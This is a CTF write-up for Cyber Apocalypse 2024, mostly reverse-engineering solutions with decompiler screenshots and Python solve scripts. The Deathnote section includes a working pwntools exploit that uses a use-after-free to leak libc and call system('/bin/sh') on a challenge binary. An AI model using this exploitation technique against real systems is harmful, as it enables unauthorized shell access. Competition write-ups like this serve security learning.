# Cyber Apocalypse 2024: Hacker Royale In this writeup i'll share my solution to some challenges that i solved during ctf, most of my solves are from Reverse Engineering Category. - [Crushing](#Crushing) - [QuickScan](#QuickScan) - [FollowThePath](#FollowThePath) - [FlecksOfGold](#FlecksOfGold) - [Deathnote](#Deathnote) - [Additional : Oblique Final (last step)](#Oblique-Final-last-step) ## Crushing There're 2 file given, `message.txt.cz` a file containing binary data and `crush` an elf file. before we get into the actual elf file, let's take a look at what inside `message.txt.cz` ![image](https://hackmd.io/_uploads/H16mrCCTa.png) the output is pretty formatted and somehow it's related to `crush`, so guessing it maybe this is the correct output of `crush`, let's try to run the program. ![image](https://hackmd.io/_uploads/B1gMU00Tp.png) our input is not terminated except we send `EOF` signal with `ctrl` + `d`, and if we see the output closely it simillar to what given int `message.txt.cz` so our guess is correct that the file given to use is a program and the output, let's continue by looking at the actual logic behind the program. i use ida free to decompile elf file. ![image](https://hackmd.io/_uploads/r1dJPACpT.png) the main function will call into two other function, `add_char_to_map` and `serialize_and_output`, the input accept char per char and only terminate if it get `0xffffffff` or `-1` in int 32 bit. and it will pass each of our character into `add_char_to_map` based on the naming of the function itself, we can conclude that somehow our input got mapped into some structure. let's see the implementation of that function ![image](https://hackmd.io/_uploads/SyvMuARpT.png) to summarize, it'll allocate memory on the heap then put the address in the stack, it'll use our character as index and put our iteration number into the heap. hope this will help you visualize it. ![image](https://hackmd.io/_uploads/SJ0b3ARa6.png) let's actually see that on gdb. i would put string `acc` stack condition : ![image](https://hackmd.io/_uploads/HJj-pACap.png) heap : ![image](https://hackmd.io/_uploads/rkzETAA6a.png) okay we know how it got mapped, so let's see how they format the output by looking at `serialize_and_output` implementation. ![image](https://hackmd.io/_uploads/SJ3nTCR6p.png) `list_len` calculate how long linked list of the char then it will print it, then it'll print the char index, it will only iterate 256 times because bytes is from 0 to 255. because it print 8 sized everytime, we'll divide our `message.txt.cz` by 8 to determine each print, now we can think that each print is a line, and we knew that our character is used as index, so line will corespond to index which is our character, but the problem is, they printed the line too, so if we put `acc` this will print out ``` ...rubish of \x00.. \x00.. --> in line of index 'a' because a is at index 0 \x00.. --> in line of index 'b' because there's no 'b' \x02.. --> in line of index 'c' because we have 2 'c' \x01.. --> this is index of c (should be line of 'd') \x02.. --> also index of c (should be line of 'e') ...rubish of \x00... ``` we should ignore the count line if our char have more than 1 and save the index put it in our array with the count line act as character. this is my script to do it. ```py!= from libnum import s2n import os os.system('cat payload | ./crush > hex') arr = [0]*0x10000 mapp = [0]*0x10000 with open('message.txt.cz', 'rb') as f: data = f.read() for i in range(0, len(data), 8): msg = s2n(data[i:i+8].strip(b'\x00')) mapp[i//8] = msg count = 0 ptr = 0 for i in range(256): if mapp[ptr] > 0: for j in range(mapp[ptr]): ptr += 1 print(hex(count) + " " + hex(mapp[ptr])) arr[mapp[ptr]] = count print(hex(count), mapp[ptr], i) ptr += 1 count+=1 print(len(data)) print(bytes(arr).strip(b'\x00')) ``` ## QuickScan There's no file given, we have to spawn instances. ![image](https://hackmd.io/_uploads/BJsnf11Ap.png) decode that base64 and we got our elf file, the target of this chall is to retrieve what value actually copied into stack. we could solve this easily by scripting gdb. ```py!= import binascii import gdb from pwn import p64 gdb.execute("file ./chall") gdb.execute('start') gdb.execute('b* $rip+11') gdb.execute('c') oke = p64(eval(gdb.execute("x/gx $rsi", to_string=True).split(':')[-1].strip())) oke += p64(eval(gdb.execute("x/gx $rsi+8", to_string=True).split(':')[-1].strip())) oke += p64(eval(gdb.execute("x/gx $rsi+16", to_string=True).split(':')[-1].strip())) out = binascii.hexlify(oke) open('out', 'w').write(out.decode()) gdb.execute('q') ``` we got the value that copied to stack, but then we still failed because we're note fast enough. to solve this, we need to take a look at the raw data of our elf file, and the value that will be copied into the stack is also stored in that raw data, we could easily get those value by looking into it, but the catch is the index will always be different. let's do some debugging with gdb. first let me put the raw data here, we could see some elf header and stuff. ```!= b"\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00>\x00\x01\x00\x00\x00\xa3\x81\x04\x08\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x008\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x00\x00\x00\x00\x80\x04\x08\x00\x00\x00\x00\xf7\x03\x00\x00\x00\x00\x00\x00\xf7\x03\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x87\xd7]\xf8\xb4\x05\x10\xff\x1d\x94D\x06\t\x13\x922\xc2\x8bR\x95 e\xd2\x9a\x90\xbc\xedO\xe2\xaf\xeaL\x7f\xd4&\xf8\x8aDP3\x7f\x15\xfa\xd351\xc7J\xe7\x05\x00\xd9 q\x8b3\xf2g\x87\x91\x91\x8b\x10\xb8\xc2\xd0D^\x92\xa0\x17\x90\xf0kC\x1f\x8d\x8a\xe6O\xbfg\xe9c?B\xf1\x00\xa3pT+H\x03\xca\xc9\xefm\xd6\xb2p6\xc9j\x15`\xdc\x9f\xa5\xf3\xe0\xdc\xc6\xc1S\xca\xc0\x8aX_\xd18\x9bl:6Ypc\xbc|\xa2\x99t\xcf\xa9\x9cq\xfa\xe9\x90J/&_\\\xf4\xb6d\xbb=\xb3\xc8.\xb0\x9c\x91\xcd\x90\xb5\x99P\x8a\xf2\xef\xec#\x01\xe0\x19\x04)\x15\xf1}\xf6\x0ely3\xacE+\xcd\xfc\\\xc2Y6)\xe6\xb8B\xac\xd2\xda\xbe|%o#T\xc2t.\x1e6 \x84\x1e\xc2\xa2x\x1aE\xcf\xb3\x01rQ\xf8K\x9c\x12\x9a\xbdvh\xa3\xfe\xe4\xb1\xa1oO4\xb4\xe1\x83=b\xaa(\x86+!<oM;\xbc\xc0 \xa1C\xec\xf9\x8b\xc3\x91#]c;\x00\xe0\xe6U\x0f\x95on@\xea51S\xe7\x86M\xc9+\xf6\xb3\xe0\xf9\xe7\xdbL\x0b\xcf\xa8/\xbb\xe2\xb6\xeb\xc1\xd9H\x83\xec\x18H\x8d5\x8f\xff\xff\xffH\x89\xe7\xb9\x18\x00\x00\x00\xf3\xa4\xb8<\x00\x00\x00\x0f\x05c\x04B\xcb6\xb2\x99\x15>c1\x80\xd9\xce/\xd7S\x08#\x9f4\x99M\x9em\xa7*40\xbf\x8d\x96\x05\xb1\x03t\x1e4`m\x8bb\xd2\x89z$\xa1P\xe0\xeb\xa5\x97\x99\xe0\xea\r{\x91\xbd3\xf8X\x1ds\x9fd\x9b\xf2\xa4\xc0\x1bBG\x1f)\x03\\{\x90i\xee\x9a\x93\x83\x08\x8e\x00\xeb\xfa\xb7F\xa2SK\xdd\x02\x01\x9e@T\xc8\x0b\xeb\x14JU+h\x1b\x0e\xa41?\xa0\x8e\xd1(PE\xac69%b \xe3j\xf6p\x14\x867\x12'\xe9Y\xe4&?\x15a\xd4\xc1\xcfV\xa6uH\x95WQ\x1d\xa1`\xfc\xa2\xf6L\xa4kp\x81\xa1\xab\xc3),=$\x9c\xc0\xbf\x01\xa9\x9d\xe5\xe4\x01\xdd\xd56c\x19\x853\xf13\xfa\xe2\x0f\xb7\xfc\x08\xe8\x00qKGL\x95\xa9_\xc0\x9bc\x99\x11\xea!5Q&\x1a\xf2\x9aI8\x1f\xdd8\x83\x0f\xf8E^M@\x0c\xa2K\xbf\x03yq\x83{\x84\xd6\xd94\xd9\xa8f\xec`\x88\xe7b\xdc5\x17\xdby}\xf9\x9c\x98\xebo\xdaQ\xb8#_T\xb4\xbasc\xf3\xdcx\xba\x7f\xeae/]3\xfc\x06.kM\x9ddj\x8f\x92\xc543M0\x06q\x00tmS\\H\x0cT:\xce\xe3\xdf'\x8bk~\x92\xb8\x1d>F\xa1\x84\x1b\xe8\x153(\xfc\xdes\xa2\xb2;8Nky:'\xc0\xdf{gb\xc2L\xc6uV\xefS\xccf\xdd\x85\nnv\x0bt\xffD\xf9\x80Z\xa0\xa2\x9bR\x05gU\x99\xd6d\x16!\xff\x8a\xf0|\xe9\x11\xd9\x02b\xc6\xcc\xb2C\xb9\r\x7f\xdd\xb4\x9a\xbfU\xd3\x0bz\x1b\xa6\r\x9d\xe0\xfbE\x99\xff\x17b=\xc7\x13\x1en\xfe/\xf2\xfa\x91]\x9d\x8b6s4\x18\xd8\x02l\xfc\xb8\xfe*\xf3z\xa4q;)\x0c\xb1\x06\x9b\xc8\xa1\x8d\xb1\xdc\xec\xa5f\x12\xe6\x82,&\xc0\xeb\xc5\xadB\xe4\x0c\x80C\xef\x8dd(\x08Kc>\t6[\x96\x1c?\xa9\xcc\x16\xcf\xfdzk\xa6\x8f|)A\xed\x0e)\xf8a\n\xa1\xd4*\x85f90$-\x8d\xcc\xc1\x12\x19\xa5\x92\x11q\x12\x81&@\xe7\xfbf\xa2\xf2)}\x08\xc9l\x98\xee\xe8H:\x7f+\xe1\x80\x11i?\xf4\x99\xb2\xb7H<\xeb\x86\xf7\xef\x03Ak\xf5\x97\xbd\xc9\x8d \xeb#\x8d+\x08\xd4\xaa\r" ``` and in constant index there's a value like address `\xa3\x81\x04\x08\x00\x00\x00\x00` or in hex `0x80481a3`. and if we start in gdb, that's the address of first instruction. ![image](https://hackmd.io/_uploads/HymRIky0a.png) okay now the address value that we got is actually the start of program execution, followed by instruction that move address that contains the value that will be copied on to the stack to rsi register. `rep` is a repeat instruction it's the one that perform copying value from what in rsi into rdi, in our case is also `rsp`. so we know that the correct address is `0x80481ae - 0x71`, and because `PIE` was off we could calculate the index, of course this will differ from each binary, so here is the solve script. ```py!= from pwn import * from base64 import b64decode as bdec from ctypes import c_int32 as int32 import binascii p = remote('94.237.63.2',42234, level='debug') i = 0 while True : p.recvuntil(b'ELF: ') elfdata = bdec(p.recvline(0)) start = u64(elfdata[24:32]) lea = start + 4 addr = elfdata[lea - 0x8048000:lea - 0x8048000 + 8] offset = u32(addr[3:-1]) offset = int32(offset).value val_offset = lea + offset - 0x8048000 + 7 out = binascii.hexlify(elfdata[val_offset: val_offset + 24]) p.sendline(out) ``` ## FollowThePath open up the file on ida we have ![image](https://hackmd.io/_uploads/rJIcLzg0p.png) so i think we need to debug this program, let's run it inside ida, put breapoint before `jumpout` ![image](https://hackmd.io/_uploads/SJ4juzgRp.png) so it's jump into this instruction it has `cmp` instruction that check if our string start with 'H' if we continue step by step we'll find this instruction ![image](https://hackmd.io/_uploads/SJ4JYMgCa.png) so it's self modifying its instruction ![image](https://hackmd.io/_uploads/S1RmFGx0T.png) we could see `xor` and `cmp` instruction, 0x55 ^ 1 = 'T' just jump to next instruction if our input is wrong and grab the value they xoring, doing this again and again we could get all the flag. alternatively i solved this challenge using x64 dbg, let me debug it using it. ![image](https://hackmd.io/_uploads/HJ0sqGxAp.png) i like to use this preferences, since it stop at start program, not in the weird place i don't understand ![image](https://hackmd.io/_uploads/HJXfofe0T.png) basically it does the same like ida debugger, we could get the flag with same strategy it's pain to retrieve all value one by one, maybe i should script this thing out, maybe in next ctf. ## FlecksOfGold This supposed to be hard reversing challenge, that implement fast light entity component system or `flecs`, u could see it here. https://github.com/SanderMertens/flecs and it's actually really complicated if we look into the graph like ![image](https://hackmd.io/_uploads/r1vKwX1C6.png) i was also doing the analysis with my teamate and got some insight from them about the chall. from reading and watching videos about ecs, it's a software architecture mostly used in video game, ecs based on the `flecs` repo. ![image](https://hackmd.io/_uploads/rkuDqQ1Rp.png) so entity is object, component is something related to entity, and system is the logic (well maybe not that simple). When i run the binary nothing happen, i guess we really need to figure how it actually works, but i don't think my solution was actually intended, i'm surely think it's not, but again i'll try to explain based on what my understanding about the challenge. let's break it down. ![image](https://hackmd.io/_uploads/HkRTOmyAa.png) first instruction is just about unpacking `SIMD` (Single Instruction, Multiple Data), i'm not really familiar with it, let's just think there's a data that unpacked. then it seed random number time based which is pretty normal, the next instruction i guess is `world` initialization, not sure but let's take a look at documentation of `flecs`. ![image](https://hackmd.io/_uploads/SkBsjQyCp.png) yeah looks like it, this is the example code they provided in link above. again let's keep in mind that the basic structure it's somehow following that code. let's continue ![image](https://hackmd.io/_uploads/B1x-2m1C6.png) from here thing got really messy, i'm not really sure what each line is doing, my best guess is something about `cpp_type_impl` is a component but again not sure, just think that it initialize some component. ![image](https://hackmd.io/_uploads/HJpCk4k0T.png) there's also some component that mentioned flag still no clue, and there's way more code like that, skip this part. ![image](https://hackmd.io/_uploads/Sy3FfNyAp.png) and also this will initialize component based one names, there're 19 names, i think this is what we call `person` later. let's find code that actually initialize a system, since that's the logic we want to find right?? ![image](https://hackmd.io/_uploads/r1Kk6mJC6.png) here we see that there's system_builder, we don't know what it is let's take a look at the docs here https://www.flecs.dev/flecs/structflecs_1_1system__builder.html ![image](https://hackmd.io/_uploads/H1XW07yA6.png) so i don't find this helpful enough, but it just system builder, OK. it build system for people and person somehow. and let me guess again the next instruction is `filter_builder_i` there's also docs about this function but i'm still confused, but i think filter_builder is just function that will filltered those person based on the term `CanMove`. ![image](https://hackmd.io/_uploads/SJxdlEJA6.png) and that's the end of the program, like the example code ecs_progress run in while loop. but there's some lambda function and stuff, personally i think it somehow iterates through person and position. okay so we somehow done reading the code, our understanding is still foggy doesn't understand anything enough to solve challenge. to summary my finding, i conclude that there's person bunch of it and we need to somehow get them to right position if it's correct there's flag part they gonna give us, that's my best guest. I'm pretty much stuck, until there's a stupid idea i could think of, so based on how ecs_entity_init works when it's initialize person entity, it will allocate an entitiy in the heap. so my idea is if `flag` is also an `entity` so it must be took place somewhere in the heap. then let's move on from ida to gdb, we'll watch about what will they put on the heap. ![image](https://hackmd.io/_uploads/Hk4GrNJCa.png) voila at the start of the execution we found something suspicious, this looks like a flag but scattered, and also i found like there's function that get executed before main that does this flag initialization called `_`, remember in above code that there's something about `flecs::_::..` i just think that this is somehow related. but this flag is not encrypted enough as we could see, `H` or 0x48 is followed by 0x00, this indicated that `H` is at index 0, let's construct this idea, and somehow this give us flag. as i said this surely not intended solution to get flag, but flag is flag. ```py!- # 0x5f 13 72 10 72 1b 30 15 0x70 0e 62 04 74 18 42 02 .0.r.r._.B.t.b.p # 0x6e 07 48 00 67 16 31 06 0x68 0b 54 01 5f 09 34 0f .1.g.H.n.4._.T.h # 0x5f 0d 74 14 67 08 72 05 0x33 1a 74 11 7d 1c 33 0c .r.g.t._.3.}.t.3 # 0x33 17 35 12 74 0a 68 19 0x00 00 00 00 00 00 7b 03 .h.t.5.3.{...... c = [ 0x48, 0x54, 0x42, 0x7b, 0x62, 0x72, 0x31, 0x6e, 0x67, 0x5f, 0x74, 0x68, 0x33, 0x5f, 0x70, 0x34, 0x72, 0x74, 0x35, 0x5f, 0x74, 0x30, 0x67, 0x33, 0x74, 0x68, 0x33, 0x72, 0x7d ] print(bytes(c)) ``` ## Deathnote This challenge is a pwn challenge, a simple heap one, my teamate solved it before i do, i was just a minute late, but since i also solved this, let me include it in this writeups. let's perform some analysis to find bug and understand what the program does ![image](https://hackmd.io/_uploads/BJjqCfkRp.png) in main function we'll see another function, this is typical heap menu challenge, so the first thing i check was the `delete` function ![image](https://hackmd.io/_uploads/BJgZx1XkRa.png) as we can see, there's `Use After Free`, the other functions also work as the name suggests, except `_` like what's that function doing is suspicious. ![image](https://hackmd.io/_uploads/rk-cxXyRT.png) to summarize, it will take the value of what inside heap address at index 0 of our array and treat that as it's a hex string converting it to actual address, and it got executed, and take value of what inside heap address at index 1 as a parameter, so this is obvious, we want to call `system("/bin/sh")` with this primitive. to do that the first thing we need is libc leak to get the correct address of system, but how do we get the leak, simply using the `UAF` bug we found earlier. so by filling tcache size 0x90 we could get the next chunk freed into unsorted bin thus leaking the flag with the `UAF`, with this our exploit scenario is complete, here's the solve script ```py!= #!/usr/bin/env python3 from pwn import * elf = context.binary = ELF('./deathnote') libc = elf.libc context.update( log_level='debug' ) sla = lambda x, y: p.sendlineafter(x, y) sa = lambda x, y: p.sendafter(x, y) sl = lambda x: p.sendline(x) s = lambda x: p.send(x) rcall = lambda x: p.recvall(x) rcud = lambda x: p.recvuntil(x, drop=True) rcu = lambda x: p.recvuntil(x) rcl = lambda: p.recvline(0) rcn = lambda x: p.recv(x) def start(): global libc if args.REMOTE: return remote(HOST, PORT) elif args.GDB: return gdb.debug([elf.path], c) else: return elf.process() c = ''' b* main c ''' REMOTE = ''.replace('nc ', '').split(' ') HOST = REMOTE[0] if REMOTE else '' PORT = int(REMOTE[1]) if len(REMOTE) > 1 else 0 p = start() def add(size: int, idx: int, payload: bytes): sla(b' ', b'1') sla(b'How big is your request?', f'{size}'.encode()) sla(b'Page?', f"{idx}".encode()) sla(b'Name of victim:', payload) def rm(idx: int): sla(b' ', b'2') sla(b'Page?', f"{idx}".encode()) def show(idx: int): sla(b' ', b'3') sla(b'Page?', f"{idx}".encode()) def mangle(leak:int, target:int) -> int: return leak >> 12 ^ target def demangle(addr:int) -> int: mid = addr >> 12 ^ addr ril = mid >> 24 ^ mid return ril for i in range(10): add(128, i, b'aaaa') for i in range(7): rm(i) rm(7) show(7) rcu(b': ') leak = u64(rcud(b'\n').ljust(8, b'\x00')) log.info(f'leak: {hex(leak)}') libc.address = leak - 0x21ace0 log.info(f'libc: {hex(libc.address)}') add(128, 0, f"{hex(libc.sym.system)}".encode()) add(128, 1, b'/bin/sh\x00') ls(b'42') p.interactive() ``` ## Oblique Final (last step) For this challenge, i just do the last step of challenge which is the reversing part, my teamate do the forensic and they found files like `thegame.exe`, `TheGame.dll` and bunch of other dll, i'm not doing any of the forensic works (don't ask me about it). so this is what they gave me ![image](https://hackmd.io/_uploads/SyUoiZxC6.png) there's folder containing these 3 folders module : ![image](https://hackmd.io/_uploads/rkSJhZgRT.png) handles : ![image](https://hackmd.io/_uploads/S1kz3ZlAp.png) vads : ![image](https://hackmd.io/_uploads/SJJZnZlA6.png) since those folders contains almost the same file, let's anayze one of them. in the description it heavily mention about game ![image](https://hackmd.io/_uploads/ry5wh-eCp.png) so let's actually reverse `theGame.exe` ![image](https://hackmd.io/_uploads/HJQ0nZlR6.png) so i don't see anything that mentioned flag, let's see `TheGame.dll`, since it look like a .NET file let's actually open up dnspy instead of ida. ![image](https://hackmd.io/_uploads/B1kB6Wg0p.png) take a look at the Main function, we got decompilation error. ![image](https://hackmd.io/_uploads/SJQtpWx0p.png) i'm not familiar about .NET reverse engineering but may first thought is maybe something is scattered because the way we got these files, but we still could take a look at decompilation IL (intermediate language). ![image](https://hackmd.io/_uploads/Sye4R-gRp.png) so at first it load these dll, i'm not really sure what's that but then i saw something suspicious. ![image](https://hackmd.io/_uploads/HyQG0bl06.png) maybe this base64 is the `flag`, let's decrypt it and we got `X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*` obviously not flag, but what is it?? after googling i found these wikipedia https://en.wikipedia.org/wiki/EICAR_test_file ```! The EICAR Anti-Virus Test File[1] or EICAR test file is a computer file that was developed by the European Institute for Computer Antivirus Research (EICAR) and Computer Antivirus Research Organization (CARO) to test the response of computer antivirus (AV) programs.[2] Instead of using real malware, which could cause real damage, this test file allows people to test anti-virus software without having to use a real computer virus.[3] ``` so it's a file that test our antivirus program instead of using real malware. and continue looking at the program again the test is using amsi https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal but where's the flag??, at this point i feel like this program is completely unrelated, but isn't that weird the program can't be decompile in c# and there's bunch of nop instruction. ![image](https://hackmd.io/_uploads/r1EQeMg0T.png) maybe something is hidden, let's try to open in ida this time. ![image](https://hackmd.io/_uploads/By0UlflRa.png) so it could be load as .NET or it could be load as normal PE file. let's load it as normal PE file. there're bunch of function in the file, but two that catch my eyes first is `sub_7FF8AB0A1DC6`, it initialize some arrays. ![image](https://hackmd.io/_uploads/Hkk4ZGgA6.png) then it calls another interesting function. ![image](https://hackmd.io/_uploads/SyrSbfgR6.png) the args for `sub_7FF8AB0A2E3A` is 2 arrays and an integer. ![image](https://hackmd.io/_uploads/Byf4MGx0T.png) and it doing xor, by recreating this function we got the flag. after we solved it, my teamate found this article https://research.checkpoint.com/2023/r2r-stomping-are-you-ready-to-run/ it's look like the actual reversing idea was that article about ready to run thingy (and it's also hinted in the description), u could read that article since it will give much understanding of the reversing part. ## Author's note I do really enjoy these challenges, also i learn a lot from it, hope they'll make another great ctf next year. and sorry if my explanation isn't clear enough or maybe i explain something wrong, lot of guessing to solves challenges, but hope you find this helpfull somehow, thanks.